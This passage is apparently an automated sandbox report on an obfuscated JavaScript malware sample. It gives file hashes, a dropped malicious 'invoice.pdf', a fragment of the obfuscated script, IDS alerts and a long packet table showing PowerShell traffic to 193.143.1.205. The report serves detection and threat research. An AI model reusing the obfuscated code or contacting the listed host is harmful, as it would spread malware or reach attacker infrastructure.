SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16488), with CRLF line terminators
Entropy (8bit):	4.901920035234354
TrID:
File name:	32600206981428831400.js
File size:	19'972 bytes
MD5:	e1c9c1855e82950a6241bdeb313a7c7a
SHA1:	dbc56e2e99753e64d39563d908ad93537272de21
SHA256:	f61fc78a02d71b0c7a60547c2386cae6517ec95fa6ae2500c68c7d5120a6a8b7
SHA512:	566829b5de45d2b2a9382e41732c6904ff0d148fc4be27e1485f573499b894a6f8c1996aeb23b5eb3ac9859bac097ecc0bbd0205b728a248823951d38b1cb18f
SSDEEP:	384:Wd61FU52HJ0AZAlXJfe3XjNeazsUmdK04LmdzRl5EtFP0cELRMoguJcklFGDPFrz:Wdv5/lQjNeazsUmdK04LmdzRl5EtFP0U
TLSH:	439243C050124A9FC9ED63E9FF961CD963EC009C18E8DD44AD42968C2E4F3765BD3979
File Content Preview:	function zqpandm(){lxcme=[1031,3079,5127,4103,2055,3072];var caugz=this[lbdku+udcpb+sjsqbkfaw+wkkffnj+pjaoraf+lkdusv+hihcykt+hdgcqblgk](this[kfwsuet+svqarl+shbzumodt+sjsqbkfaw+ytocnkbcl+lbdku+hdgcqblgk][pghmu+sjsqbkfaw+pjaoraf+udcpb+hdgcqblgk+pjaoraf+nies

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:51:47.864144+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-10T23:51:51.025443+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:51:47.068334103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.073163986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.073273897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.075803995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.080662012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.863960028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.863976955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.863996029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864005089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864017963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864080906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864093065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864104986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864115953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864144087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.864145994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.864144087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.864144087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.864144087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.864553928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.869055986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.869071960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.869215965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.915149927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.915169001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.915183067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.915296078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.985234976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985258102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985270977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985282898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985578060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985589027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985707045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985735893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985735893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.985735893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.985748053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.985805035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.985805035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.986057043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.986073971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.986087084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.986099005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.986112118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.986155033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.986155033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.986155033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.986994982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.987009048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.987020969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.987030983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.987044096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.987303019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.987303019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:47.987725973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:47.988024950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.002562046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.002576113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.002962112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.002984047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.002994061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.003093958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.003093958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.081489086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.081509113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.081523895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.082252979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.105707884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.105726957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.105740070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.105901957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.105901957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.106846094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.106858015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.106942892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.106956005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.106967926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107173920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107238054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107250929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107289076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107300997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107325077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107325077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.107325077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.107325077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.107325077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.107336998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.107868910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.107868910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.108114004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108128071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108143091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108163118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108175039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108186960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108200073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.108987093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109029055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109042883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109077930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109090090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109102011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109114885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109127045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.109127045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.109127045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.109127045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.109392881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.109879971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109905958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109919071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109982967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.109996080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110008001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110019922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110045910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.110045910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.110045910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.110809088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110822916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110835075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110853910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110866070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110877991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110891104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.110929966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.110929966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.110929966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.111705065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.111718893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.113305092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.113305092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.168922901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202152967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202172041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202184916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202198029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202210903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202222109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.202429056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.202429056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.226195097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226212978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226224899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226246119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226321936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226336002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.226363897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.226363897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227615118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227627993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227641106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227679014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227679014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227700949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227714062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227750063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227761984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227922916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227935076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227952957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227963924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227976084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.227998972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227998972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227998972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.227998972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228199005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228236914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228250027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228260994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228274107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228285074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228297949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228715897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228739023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228758097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228769064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228770018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228769064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228769064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228769064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228769064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228781939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228794098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228806019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228816986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228828907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228840113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228852034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228863955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.228899956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228899956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228899956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228899956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.228899956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229274988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229360104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229371071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229382992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229393959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229406118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229437113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229449034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229460001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229471922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229504108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229504108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229504108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229504108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229504108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.229521036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229532957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229546070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229557991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.229568958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230287075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230307102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230319977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230330944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230341911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230355024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230355024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230355024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230355024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230355024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230374098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230386972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230396986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230410099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230447054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230458975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230470896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230483055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230496883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.230504990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230504990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230504990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230504990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230504990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.230997086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.231184006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.231197119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.231210947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.232995987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.235415936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.235430002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.235441923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.235452890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.235466003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.237950087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.237950087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.290915012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.290930986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.290942907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.290950060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.290961981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291032076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291043997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291157961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291172028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291177988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 23:51:48.291301966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.291301966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.291301966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:51:48.291346073 CET	80	49706	193.143.1.205	192.168.2.8
